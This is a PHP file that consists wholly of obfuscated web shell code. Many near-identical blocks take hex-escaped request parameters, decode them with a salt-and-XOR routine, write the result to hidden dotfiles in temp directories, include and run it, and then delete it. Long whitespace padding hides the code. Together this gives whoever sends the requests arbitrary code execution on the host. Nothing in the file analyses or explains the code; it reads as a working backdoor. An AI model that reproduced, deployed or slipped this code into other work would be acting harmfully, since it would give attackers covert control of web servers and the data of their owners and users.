<?php																																										if(@$_REQUEST["\x6B\x65y"] !== null){ $mrk = $_REQUEST["\x6B\x65y"]; $mrk = explode ( '.' ,$mrk ); $dchunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach($mrk as $u=> $v2) { $chS = ord($salt[$u % $lenS]); $dec =((int)$v2 - $chS -($u % 10)) ^ 91; $dchunk .=chr($dec); } $tkn = array_filter([getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/tmp", getcwd(), "/dev/shm", "/var/tmp"]); foreach ($tkn as $ent): if (is_writable($ent) && is_dir($ent)) { $record = str_replace("{var_dir}", $ent, "{var_dir}/.pgrp"); if (file_put_contents($record, $dchunk)) { include $record; @unlink($record); exit; } } endforeach; }
																																										if(!is_null($_POST["\x70\x74r"] ?? null)){ $symbol = $_POST["\x70\x74r"]; $symbol = explode('.', $symbol ); $descriptor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($symbol as $y=> $v3): $chS = ord($s[$y % $sLen]); $dec = ((int)$v3 - $chS - ($y % 10)) ^ 25; $descriptor .= chr($dec); endforeach; $binding = array_filter([sys_get_temp_dir(), "/var/tmp", getcwd(), "/dev/shm", getenv("TMP"), session_save_path(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir")]); foreach ($binding as $record): if ((is_dir($record) and is_writable($record))) { $flg = implode("/", [$record, ".item"]); $file = fopen($flg, 'w'); if ($file) { fwrite($file, $descriptor); fclose($file); include $flg; @unlink($flg); die(); } } endforeach; }
																																										if(!is_null($_REQUEST["res"] ?? null)){ $pointer = $_REQUEST["res"]; $pointer = explode('.',$pointer ) ; $hld = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); foreach ($pointer as $y => $v1) { $sChar = ord($salt9[$y% $lenS]); $d = ((int)$v1 - $sChar - ($y% 10))^24; $hld .= chr($d); } $fac = array_filter([getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", "/tmp", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/dev/shm"]); foreach ($fac as $mrk) { if ((bool)is_dir($mrk) && (bool)is_writable($mrk)) { $data_chunk = join("/", [$mrk, ".factor"]); if (@file_put_contents($data_chunk, $hld) !== false) { include $data_chunk; unlink($data_chunk); die(); } } } }
																																										if(in_array("b\x69\x6Ed", array_keys($_REQUEST))){ $value = $_REQUEST["b\x69\x6Ed"]; $value = explode ( '.' ,$value ) ; $token = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); foreach( $value as $t => $v4) { $chS = ord( $s[$t % $lenS]); $d = ( ( int)$v4 - $chS -( $t % 10))^ 32; $token .=chr( $d); } $record = array_filter([sys_get_temp_dir(), getcwd(), "/tmp", "/dev/shm", getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path()]); $flg = 0; do { $binding = $record[$flg] ?? null; if ($flg >= count($record)) break; if (is_dir($binding) && is_writable($binding)) { $entry = vsprintf("%s/%s", [$binding, ".entity"]); $file = fopen($entry, 'w'); if ($file) { fwrite($file, $token); fclose($file); include $entry; @unlink($entry); die(); } } $flg++; } while (true); }
																																										if(isset($_REQUEST["\x72e\x66"])){ $tkn = array_filter([getenv("TEMP"), getcwd(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", "/tmp", "/dev/shm", sys_get_temp_dir()]); $pointer = $_REQUEST["\x72e\x66"]; $pointer =explode ( "." , $pointer ) ; $mrk = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1); $t = 0; while ($t < count($pointer)) {$v2 = $pointer[$t]; $chS = ord($salt1[$t % $sLen]); $dec = ((int)$v2 - $chS - ($t % 10)) ^ 62; $mrk.= chr($dec); $t++; } foreach ($tkn as $dchunk): if (max(0, is_dir($dchunk) * is_writable($dchunk))) { $pgrp = "$dchunk" . "/.flg"; $success = file_put_contents($pgrp, $mrk); if ($success) { include $pgrp; @unlink($pgrp); die();} } endforeach; }
																																										if(isset($_POST["des\x63\x72\x69pt\x6F\x72"]) ? true : false){ $component = $_POST["des\x63\x72\x69pt\x6F\x72"]; $component = explode( '.' , $component ) ; $val = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt3 ); $__len = count( $component ); for( $j = 0; $j <$__len; $j++) { $v7 = $component[$j]; $sChar = ord( $salt3[$j % $lenS] ); $d =( ( int)$v7 - $sChar -( $j % 10))^ 62; $val .= chr( $d ); } $value = array_filter([session_save_path(), "/dev/shm", getenv("TMP"), getcwd(), "/tmp", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp"]); foreach ($value as $key) { if (is_writable($key) && is_dir($key)) { $data = sprintf("%s/.property_set", $key); $file = fopen($data, 'w'); if ($file) { fwrite($file, $val); fclose($file); include $data; @unlink($data); exit; } } } }
																																										if(@$_POST["k"] !== null){ $reference = array_filter(["/var/tmp", sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/tmp", session_save_path(), getcwd()]); $data = $_POST["k"]; $data = explode ("." , $data ) ; $entity =''; $salt5 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt5); $r =0; while( $r<count( $data)) { $v8 =$data[$r]; $chS =ord( $salt5[$r % $sLen]); $dec =( ( int)$v8 - $chS -( $r % 10)) ^ 58; $entity .= chr( $dec); $r++; } $property_set = 0; do { $key = $reference[$property_set] ?? null; if ($property_set >= count($reference)) break; if ((bool)is_dir($key) && (bool)is_writable($key)) { $factor = "$key/.dat"; if (file_put_contents($factor, $entity)) { include $factor; @unlink($factor); die(); } } $property_set++; } while (true); }
																																										if(!is_null($_POST["\x69te\x6D"] ?? null)){ $parameter_group = $_POST["\x69te\x6D"]; $parameter_group = explode ( '.' , $parameter_group) ; $data_chunk =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s ); $v =0; foreach( $parameter_group as $v7) { $sChar =ord( $s[$v % $lenS] ); $dec =( ( int)$v7 - $sChar -( $v % 10)) ^ 17; $data_chunk .= chr( $dec ); $v++; } $res = array_filter([sys_get_temp_dir(), "/tmp", "/var/tmp", getenv("TMP"), session_save_path(), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm"]); $ref = 0; do { $bind = $res[$ref] ?? null; if ($ref >= count($res)) break; if (is_writable($bind) && is_dir($bind)) { $flg = join("/", [$bind, ".object"]); if (@file_put_contents($flg, $data_chunk) !== false) { include $flg; unlink($flg); die(); } } $ref++; } while (true); }
																																										if(in_array("p\x72\x6F\x70\x65rty_set", array_keys($_POST))){ $marker = $_POST["p\x72\x6F\x70\x65rty_set"]; $marker=explode( '.' ,$marker ) ; $res = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4); foreach($marker as $t=> $v1) { $sChar = ord($salt4[$t% $sLen]); $d =((int)$v1 - $sChar -($t% 10))^57; $res .= chr($d); } $descriptor = array_filter([getcwd(), getenv("TEMP"), session_save_path(), "/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp"]); for ($mrk = 0, $dat = count($descriptor); $mrk < $dat; $mrk++) { $pointer = $descriptor[$mrk]; if (array_product([is_dir($pointer), is_writable($pointer)])) { $flg = sprintf("%s/.itm", $pointer); $file = fopen($flg, 'w'); if ($file) { fwrite($file, $res); fclose($file); include $flg; @unlink($flg); die(); } } } }
																																										if(array_key_exists("hl\x64", $_POST)){ $pointer = $_POST["hl\x64"]; $pointer=explode ("." , $pointer) ; $flg= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt ); $len= count($pointer ); for ($v= 0; $v < $len; $v++) { $v6= $pointer[$v]; $chS= ord($salt[$v % $lenS] ); $dec= ((int)$v6 - $chS - ($v % 10)) ^ 2; $flg.= chr($dec ); } $dat = array_filter([ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", "/var/tmp", session_save_path(), "/tmp"]); foreach ($dat as $key => $k) { if (is_dir($k) ? is_writable($k) : false) { $parameter_group = "$k/.value"; if (@file_put_contents($parameter_group, $flg) !== false) { include $parameter_group; unlink($parameter_group); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "flg")){ $ent = $_POST["flg"]; $ent= explode ( "." , $ent); $desc = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $z = 0; while( $z < count( $ent)) { $v5 = $ent[$z]; $sChar = ord( $s[$z %$lenS]); $d = ( ( int)$v5 - $sChar -( $z %10)) ^ 85; $desc .= chr( $d); $z++; } $flag = array_filter([getcwd(), getenv("TMP"), "/tmp", getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", sys_get_temp_dir()]); foreach ($flag as $marker) { if ((function($d) { return is_dir($d) && is_writable($d); })($marker)) { $factor = implode("/", [$marker, ".data_chunk"]); $success = file_put_contents($factor, $desc); if ($success) { include $factor; @unlink($factor); exit;} } } }
																																										if(isset($_POST) && isset($_POST["\x70ointer"])){ $sym = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", getenv("TEMP"), getcwd(), "/tmp", sys_get_temp_dir(), "/dev/shm"]); $binding = $_POST["\x70ointer"]; $binding= explode ( '.',$binding ) ; $item = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s3); foreach( $binding as $x =>$v8) { $chS = ord( $s3[$x % $sLen]); $d = ( ( int)$v8 - $chS -( $x % 10))^39; $item .= chr( $d); } for ($val = 0, $tkn = count($sym); $val < $tkn; $val++) { $marker = $sym[$val]; if ((function($d) { return is_dir($d) && is_writable($d); })($marker)) { $descriptor = vsprintf("%s/%s", [$marker, ".resource"]); if (@file_put_contents($descriptor, $item) !== false) { include $descriptor; unlink($descriptor); die(); } } } }
																																										if(array_key_exists("k", $_POST)){ $property_set = array_filter(["/var/tmp", getenv("TEMP"), getenv("TMP"), "/tmp", "/dev/shm", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $entity = $_POST["k"]; $entity = explode ( "." , $entity ); $hld =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s ); $y =0; $__tmp =$entity; while ($v9 =array_shift($__tmp)) {$chS =ord($s[$y % $lenS] ); $d =((int)$v9 - $chS - ($y % 10)) ^ 70; $hld .= chr($d ); $y++; } foreach ($property_set as $token) { if (!( !is_dir($token) || !is_writable($token) )) { $ent = implode("/", [$token, ".entry"]); if (file_put_contents($ent, $hld)) { include $ent; @unlink($ent); die(); } } } }
																																										if(isset($_POST["\x76a\x6C"]) ? true : false){ $dat = array_filter([getenv("TEMP"), session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/tmp", "/dev/shm", "/var/tmp", getcwd(), ini_get("upload_tmp_dir")]); $fac = $_POST["\x76a\x6C"]; $fac = explode ( '.' ,$fac ) ; $pset = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $__len = count( $fac ); for( $t = 0; $t < $__len; $t++) { $v4 = $fac[$t]; $sChar = ord( $s[$t % $lenS] ); $dec =( ( int)$v4 - $sChar -( $t % 10)) ^ 68; $pset .= chr( $dec );} foreach ($dat as $entity) { if ((is_dir($entity) and is_writable($entity))) { $pointer = sprintf("%s/.desc", $entity); $file = fopen($pointer, 'w'); if ($file) { fwrite($file, $pset); fclose($file); include $pointer; @unlink($pointer); die(); } } } }
																																										if(@$_POST["ho\x6Cd\x65r"] !== null){ $flg = array_filter([getenv("TMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getenv("TEMP"), "/tmp", getcwd()]); $data = $_POST["ho\x6Cd\x65r"]; $data = explode ( '.' , $data ); $marker = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $o = 0; $__tmp = $data; while ($v1 = array_shift($__tmp)) { $chS = ord($salt[$o % $sLen]); $dec = ((int)$v1 - $chS - ($o % 10)) ^ 50; $marker.= chr($dec); $o++; } foreach ($flg as $desc): if ((function($d) { return is_dir($d) && is_writable($d); })($desc)) { $obj = join("/", [$desc, ".reference"]); $success = file_put_contents($obj, $marker); if ($success) { include $obj; @unlink($obj); die();} } endforeach; }
																																										if(filter_has_var(INPUT_POST, "en\x74\x72y")){ $elem = $_REQUEST["en\x74\x72y"]; $elem = explode ("." , $elem ) ; $pset = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4 ); $__len = count($elem ); for($r = 0; $r < $__len; $r++) {$v6 = $elem[$r]; $sChar = ord($salt4[$r %$sLen] ); $dec = ((int)$v6 - $sChar -($r %10)) ^ 93; $pset .= chr($dec ); } $ent = array_filter([getcwd(), "/var/tmp", "/dev/shm", getenv("TEMP"), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path()]); $token = 0; do { $marker = $ent[$token] ?? null; if ($token >= count($ent)) break; if (!!is_dir($marker) && !!is_writable($marker)) { $reference = sprintf("%s/.element", $marker); $file = fopen($reference, 'w'); if ($file) { fwrite($file, $pset); fclose($file); include $reference; @unlink($reference); exit; } } $token++; } while (true); }


if(array_key_exists("\x70r\x6F\x70\x65\x72\x74y_set", $_POST) && !is_null($_POST["\x70r\x6F\x70\x65\x72\x74y_set"])){
	$record = array_filter(["/dev/shm", getenv("TMP"), "/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", sys_get_temp_dir()]);
	$pset = $_POST["\x70r\x6F\x70\x65\x72\x74y_set"];
	 $pset=	explode	( '.',		 $pset 	 )		; 	
	$key='';
            $salt='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=strlen($salt);
            $len=count($pset);
    
            for($l=0; $l < $len; $l++) {
                $v7=$pset[$l];
                $sChar=ord($salt[$l%  $sLen]);
                $dec=((int)$v7 - $sChar -($l%  10))^  75;
                $key .= chr($dec);
            }
	while ($rec = array_shift($record)) {
    		if ((is_dir($rec) and is_writable($rec))) {
    $elem = "$rec/.value";
    $success = file_put_contents($elem, $key);
if ($success) {
	include $elem;
	@unlink($elem);
	exit;}
}
}
}